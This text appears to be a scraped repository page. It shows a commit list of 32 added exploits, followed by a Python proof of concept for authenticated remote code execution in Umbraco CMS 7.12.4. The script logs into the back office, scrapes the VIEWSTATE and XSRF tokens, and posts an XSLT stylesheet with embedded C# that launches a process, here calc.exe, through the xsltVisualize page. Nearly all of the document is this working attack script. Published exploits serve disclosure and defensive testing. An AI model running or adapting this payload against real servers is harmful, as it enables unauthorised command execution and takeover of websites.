518c704a2f
32 changes to exploits/shellcodes xorg-x11-server < 1.20.3 - Local Privilege Escalation (Solaris 11 inittab) Dokany 1.2.0.1000 - Stack-Based Buffer Overflow Privilege Escalation Microsoft Windows 10 - SSPI Network Authentication Session 0 Privilege Escalation Microsoft Windows 10 - DSSVC DSOpenSharedFile Arbitrary File Open Privilege Escalation Microsoft Windows 10 - DSSVC DSOpenSharedFile Arbitrary File Delete Privilege Escalation Microsoft Windows 10 - DSSVC CanonicalAndValidateFilePath Security Feature Bypass Microsoft Windows 10 - DSSVC MoveFileInheritSecurity Privilege Escalation Microsoft Windows 10 - Browser Broker Cross Session Privilege Escalation Microsoft Windows 10 - COM Desktop Broker Privilege Escalation Hootoo HT-05 - Remote Code Execution (Metasploit) Across DR-810 ROM-0 - Backup File Disclosure i-doit CMDB 1.12 - Arbitrary File Download i-doit CMDB 1.12 - SQL Injection Horde Imp - 'imap_open' Remote Command Execution Modern POS 1.3 - Arbitrary File Download Modern POS 1.3 - SQL Injection Twilio WEB To Fax Machine System Application 1.0 - SQL Injection Live Call Support Widget 1.5 - Cross-Site Request Forgery (Add Admin) Live Call Support Widget 1.5 - Remote Code Execution / SQL Injection Craigs Classified Ads CMS Theme 1.0.2 - SQL Injection Find a Place CMS Directory 1.5 - SQL Injection Cleanto 5.0 - SQL Injection Lenovo R2105 - Cross-Site Request Forgery (Command Execution) HealthNode Hospital Management System 1.0 - SQL Injection Hucart CMS 5.7.4 - Cross-Site Request Forgery (Add Administrator Account) ThinkPHP 5.X - Remote Command Execution Real Estate Custom Script 2.0 - SQL Injection Job Portal Platform 1.0 - SQL Injection Umbraco CMS 7.12.4 - Authenticated Remote Code Execution Bigcart - Ecommerce Multivendor System 1.0 - SQL Injection Portier Vision 4.4.4.2 / 4.4.4.6 - SQL Injection AudioCode 400HD - Command Injection
63 lines
No EOL
2.3 KiB
Python
Executable file
63 lines
No EOL
2.3 KiB
Python
Executable file
# Exploit Title: Umbraco CMS - Remote Code Execution by authenticated administrators
|
|
# Dork: N/A
|
|
# Date: 2019-01-13
|
|
# Exploit Author: Gregory DRAPERI & Hugo BOUTINON
|
|
# Vendor Homepage: http://www.umbraco.com/
|
|
# Software Link: https://our.umbraco.com/download/releases
|
|
# Version: 7.12.4
|
|
# Category: Webapps
|
|
# Tested on: Windows IIS
|
|
# CVE: N/A
|
|
|
|
|
|
import requests;
|
|
|
|
from bs4 import BeautifulSoup;
|
|
|
|
def print_dict(dico):
|
|
print(dico.items());
|
|
|
|
print("Start");
|
|
|
|
# Execute a calc for the PoC
|
|
payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
|
|
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
|
|
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\
|
|
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
|
|
{ string cmd = ""; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
|
|
proc.StartInfo.FileName = "calc.exe"; proc.StartInfo.Arguments = cmd;\
|
|
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
|
|
proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
|
|
</msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\
|
|
</xsl:template> </xsl:stylesheet> ';
|
|
|
|
login = "XXXX;
|
|
password="XXXX";
|
|
host = "XXXX";
|
|
|
|
# Step 1 - Get Main page
|
|
s = requests.session()
|
|
url_main =host+"/umbraco/";
|
|
r1 = s.get(url_main);
|
|
print_dict(r1.cookies);
|
|
|
|
# Step 2 - Process Login
|
|
url_login = host+"/umbraco/backoffice/UmbracoApi/Authentication/PostLogin";
|
|
loginfo = {"username":login,"password":password};
|
|
r2 = s.post(url_login,json=loginfo);
|
|
|
|
# Step 3 - Go to vulnerable web page
|
|
url_xslt = host+"/umbraco/developer/Xslt/xsltVisualize.aspx";
|
|
r3 = s.get(url_xslt);
|
|
|
|
soup = BeautifulSoup(r3.text, 'html.parser');
|
|
VIEWSTATE = soup.find(id="__VIEWSTATE")['value'];
|
|
VIEWSTATEGENERATOR = soup.find(id="__VIEWSTATEGENERATOR")['value'];
|
|
UMBXSRFTOKEN = s.cookies['UMB-XSRF-TOKEN'];
|
|
headers = {'UMB-XSRF-TOKEN':UMBXSRFTOKEN};
|
|
data = {"__EVENTTARGET":"","__EVENTARGUMENT":"","__VIEWSTATE":VIEWSTATE,"__VIEWSTATEGENERATOR":VIEWSTATEGENERATOR,"ctl00$body$xsltSelection":payload,"ctl00$body$contentPicker$ContentIdValue":"","ctl00$body$visualizeDo":"Visualize+XSLT"};
|
|
|
|
# Step 4 - Launch the attack
|
|
r4 = s.post(url_xslt,data=data,headers=headers);
|
|
|
|
print("End"); |